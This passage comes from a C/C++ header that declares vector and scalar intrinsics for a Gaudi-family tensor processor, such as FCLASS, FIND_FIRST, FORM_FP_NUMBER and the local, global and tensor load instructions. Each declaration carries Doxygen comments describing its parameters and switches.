(signed).\n///\n/// @{\nint32_t s_f32_extract_exp(float a, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nint16_t s_bf16_extract_exp(bf16 a, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_f32_extract_exp_vb(float64 a, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_f32_extract_exp_b(float64 a, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nshort128 v_bf16_extract_exp_vb(bfloat128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_bf16_extract_exp_b(bfloat128 a, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ FCLASS\n//\n\n#if defined(__gaudi_plus__)\n/// @brief Represents FCLASS instruction.\n///\n/// @param a The input value (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return 8/10bit-masks format describing the input value.\n///\n/// 10bit mask maps to the following classes: (returned for 16/32 bit datatypes) \\n\n/// | bit | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |\n/// |-------|------|---------|-----------|----|----|-----------|---------|------|------|------|\n/// | class | -Inf | -normal | -denormal | -0 | +0 | +denormal | +normal | +Inf | sNaN | qNaN |\n///\n/// 8bit mask maps to the following classes: (returned for 8 bit datatypes) \\n\n/// | bit | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |\n/// |-------|------|---------|-----------|----------|-----------|---------|------|--------------|\n/// | class | -Inf | -normal | -denormal | -0 or +0 | +denormal | +normal | +Inf | sNaN or qNaN |\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat s_f32_fclass(float a, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nbf16 s_bf16_fclass(bf16 a, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nfloat64 v_f32_fclass_b(float64 a, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_fclass_vb(float64 a, int switches, float64 income, bool64 predicate, bool polarity=0);\nbfloat128 v_bf16_fclass_b(bfloat128 a, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_fclass_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n/// @brief Represents FIND_FIRST instruction.\n///\n/// @param a Input value (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return First 0/1 bit position.\n///\n/// \\par Allowed switches are:\n/// - [SET] - Indicates whether the first bit to look for is 0 or 1.\n/// \\li SW_FIND_ZERO\n/// \\li SW_FIND_ONE\n/// - [DIR] - Indicates the direction of the search.\n/// \\li SW_LSB\n/// \\li SW_MSB\n///\n/// @{\nuint8_t s_f32_find_first(float a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nuint8_t s_bf16_find_first(bf16 a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#endif\nuint8_t s_i32_find_first(int32_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u32_find_first(uint32_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_i16_find_first(int16_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u16_find_first(uint16_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_i8_find_first(int8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_find_first(uint8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuchar256 v_f32_find_first_b(float64 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_f32_find_first_vb(float64 a, int switches, uchar256 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nuchar256 v_bf16_find_first_b(bfloat128 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_bf16_find_first_vb(bfloat128 a, int switches, uchar256 income, bool128 predicate, bool polarity=0);\n#endif\nuchar256 v_i32_find_first_b(int64 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_i32_find_first_vb(int64 a, int switches, uchar256 income, bool64 predicate, bool polarity=0);\nuchar256 v_u32_find_first_b(uint64 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u32_find_first_vb(uint64 a, int switches, uchar256 income, bool64 predicate, bool polarity=0);\nuchar256 v_i16_find_first_b(short128 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_i16_find_first_vb(short128 a, int switches, uchar256 income, bool128 predicate, bool polarity=0);\nuchar256 v_u16_find_first_b(ushort128 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u16_find_first_vb(ushort128 a, int switches, uchar256 income, bool128 predicate, bool polarity=0);\nuchar256 v_i8_find_first_b(char256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_i8_find_first_vb(char256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_find_first_b(uchar256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_find_first_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n//\n// ------ FORM_FP_NUMBER\n//\n\n\n/// @brief Represents FORM_FP_NUMBER instruction.\n///\n/// @param a Exponent (SRC1).\n/// @param b Sign (SRC2).\n/// @param c Mantissa (SRC3).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Constructed floating number.\n///\n/// \\par Allowed switches are:\n/// \\li SW_ADD_BIAS - Add bias to exponent (SRC1) prior to operation.\n/// \\li SW_FORCE_SIGN0 - Force sign bit at DEST to 0.\n/// \\li SW_FORCE_SIGN1 - Force sign bit at DEST to 1.\n/// \\li SW_EXP_IS_NUM - Treat the value in the source as an INT8 number, shift left by mantissa size and mask un-relevant bits.\n/// \\li SW_SIGN_LSB - When set, takes the SIGN from the LSB of the src instead from its sign bit.\n///\n/// SW_FORCE_SIGN0, SW_FORCE_SIGN1, SW_SIGN_LSB are mutually exclusive. \\n\n/// @note In intrinsic functions with '_ie_' infix, SW_EXP_IS_NUM switch is set by default.\n///\n/// @{\nfloat64 v_f32_form_fp_num_b(float64 a, float64 b, float64 c, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_form_fp_num_vb(float64 a, float64 b, float64 c, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_form_fp_num_ie_b(char256 a, float64 b, float64 c, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_form_fp_num_ie_vb(char256 a, float64 b, float64 c, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_form_fp_num_b(bfloat128 a, bfloat128 b, bfloat128 c, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_form_fp_num_vb(bfloat128 a, bfloat128 b, bfloat128 c, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_form_fp_num_ie_b(char256 a, bfloat128 b, bfloat128 c, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_form_fp_num_ie_vb(char256 a, bfloat128 b, bfloat128 c, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ GEN_ADDR\n//\n\n\n/// @brief Represents GEN_ADDR instruction.\n///\n/// @param inx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Pointer in global address space, pointing to the selected tensor element.\n///\n/// @{\n__global void *gen_addr(int5 inx, const int8_t tensor, int switches=0, __global void *income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ GET_LUT_ENTRY_AND_INTERVAL_START\n//\n\n\n/// @brief Represents GET_LUT_ENTRY_AND_INTERVAL_START instruction.\n///\n/// @param src Input value (SRC1).\n/// @param shift Significand shift\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Pair of the interval and its offset for the special function approximation.\n///\n/// \\par Allowed switches are:\n/// - [FUNC_VARIANT] - Determines the variant of the function, when no switch is set -\n/// all functions other then tanh/sqrt/rsqrt/sin/cos.\n/// \\li SW_LUT_TANH\n/// \\li SW_LUT_SQRT_RSQRT\n/// \\li SW_LUT_SIN_COS\n/// \\li SW_LUT_LOG\n///\n/// @{\nuint64_float64 v_f32_get_lut_entry_and_interval_start_b(float64 src, const int8_t shift, int switches=0, uint64_float64 income={}, bool predicate=1, bool polarity=0);\nuint64_float64 v_f32_get_lut_entry_and_interval_start_vb(float64 src, const int8_t shift, int switches, uint64_float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nushort128_bfloat128 v_bf16_get_lut_entry_and_interval_start_b(bfloat128 src, const int8_t shift, int switches=0, ushort128_bfloat128 income={}, bool predicate=1, bool polarity=0);\nushort128_bfloat128 v_bf16_get_lut_entry_and_interval_start_vb(bfloat128 src, const int8_t shift, int switches, ushort128_bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ LD_L\n//\n\n\n/// @brief Represents LD_L instruction.\n///\n/// @param addr Address to read from (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n/// \\par Allowed switches are:\n/// \\li SW_MMIO - When set load from MMIO, else - load from SLM.\n///\n/// @{\nfloat s_f32_ld_l(uint32_t addr, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_ld_l(uint32_t addr, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_ld_l(uint32_t addr, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_ld_l(uint32_t addr, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_ld_l(uint32_t addr, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_ld_l(uint32_t addr, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_ld_l(uint32_t addr, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_ld_l(uint32_t addr, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_ld_l(uint32_t addr, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ LD_L_V\n//\n\n\n/// @brief Represents LD_L_V instruction.\n///\n/// @param addr Address to read from (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n///\n/// @{\nfloat64 v_f32_ld_l_v_b(uint32_t addr, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_l_v_vb(uint32_t addr, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_l_v_b(uint32_t addr, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_ld_l_v_b(uint32_t addr, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_l_v_b(uint32_t addr, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_l_v_b(uint32_t addr, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_l_v_b(uint32_t addr, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_l_v_b(uint32_t addr, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_l_v_b(uint32_t addr, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_l_v_b(uint32_t addr, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nfloat64 v_f32_ld_l_v_vb(uint32_t addr, int switches, float64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_ld_l_v_vb(uint32_t addr, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_l_v_vb(uint32_t addr, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_ld_l_v_vb(uint32_t addr, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_l_v_vb(uint32_t addr, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_ld_l_v_vb(uint32_t addr, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_l_v_vb(uint32_t addr, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_l_v_vb(uint32_t addr, int switches, bool256 income, bool256 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ LD_L_V_HIGH\n//\n\n\n/// @brief Represents LD_L_V_HIGH instruction.\n///\n/// @param addr Address to read from (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n///\n/// @{\nfloat64 v_f32_ld_l_v_high_vb(uint32_t addr, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_ld_l_v_high_b(uint32_t addr, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_l_v_high_vb(uint32_t addr, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_l_v_high_b(uint32_t addr, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_ld_l_v_high_vb(uint32_t addr, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_ld_l_v_high_b(uint32_t addr, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_l_v_high_vb(uint32_t addr, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_l_v_high_b(uint32_t addr, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_l_v_high_vb(uint32_t addr, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_ld_l_v_high_b(uint32_t addr, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_l_v_high_vb(uint32_t addr, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_l_v_high_b(uint32_t addr, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_l_v_high_vb(uint32_t addr, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_ld_l_v_high_b(uint32_t addr, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_l_v_high_vb(uint32_t addr, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_l_v_high_b(uint32_t addr, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_l_v_high_vb(uint32_t addr, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_l_v_high_b(uint32_t addr, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ LD_L_V_LOW\n//\n\n\n/// @brief Represents LD_L_V_LOW instruction.\n///\n/// @param addr Address to read from (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n///\n/// @{\nfloat64 v_f32_ld_l_v_low_vb(uint32_t addr, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_ld_l_v_low_b(uint32_t addr, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_l_v_low_vb(uint32_t addr, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_l_v_low_b(uint32_t addr, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_ld_l_v_low_vb(uint32_t addr, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_ld_l_v_low_b(uint32_t addr, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_l_v_low_vb(uint32_t addr, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_l_v_low_b(uint32_t addr, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_l_v_low_vb(uint32_t addr, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_ld_l_v_low_b(uint32_t addr, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_l_v_low_vb(uint32_t addr, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_l_v_low_b(uint32_t addr, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_l_v_low_vb(uint32_t addr, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_ld_l_v_low_b(uint32_t addr, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_l_v_low_vb(uint32_t addr, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_l_v_low_b(uint32_t addr, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_l_v_low_vb(uint32_t addr, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_l_v_low_b(uint32_t addr, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ LD_G\n//\n\n/// @brief Represents LD_G instruction.\n///\n/// @param addr Address to read from (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n///\n/// @{\nfloat s_f32_ld_g(__global void *addr, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_ld_g(__global void *addr, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_ld_g(__global void *addr, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_ld_g(__global void *addr, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_ld_g(__global void *addr, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_ld_g(__global void *addr, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_ld_g(__global void *addr, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_ld_g(__global void *addr, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_ld_g(__global void *addr, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_g(__global void *addr, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nfloat64 v_f32_ld_g(__global void *addr, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ld_g(__global void *addr, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_g(__global void *addr, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_g(__global void *addr, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_g(__global void *addr, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_g(__global void *addr, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_g(__global void *addr, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ LD_TNSR\n//\n\n/// @brief Represents LD_TNSR instruction.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n/// @{\nfloat64 v_f32_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_tnsr_b(int5 ndx, const int8_t tensor, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nfloat64 v_f32_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, float64 income, bool64 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nint64 v_i32_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_tnsr_vb(int5 ndx, int8_t tensor, int switches, bool256 income, bool256 predicate, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_tnsr_b(int5 ndx, int8_t tensor, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents LD_TNSR instruction with PARTIAL switch.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param size Size in elements minus 1.\n/// @param offset Offset in elements.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat64 v_f32_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_tnsr_partial_b(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, float64 income, bool64 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nint64 v_i32_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_tnsr_partial_vb(int5 ndx, int8_t tensor, int8_t size, int8_t offset, int switches, bool256 income, bool256 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ LD_TNSR_HIGH\n//\n\n/// @brief Represents LD_TNSR_HIGH instruction.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n///\n/// @{\nfloat64 v_f32_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_tnsr_high_b(int5 ndx, const int8_t tensor, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nfloat64 v_f32_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, float64 income, bool64 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nint64 v_i32_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_tnsr_high_vb(int5 ndx, int8_t 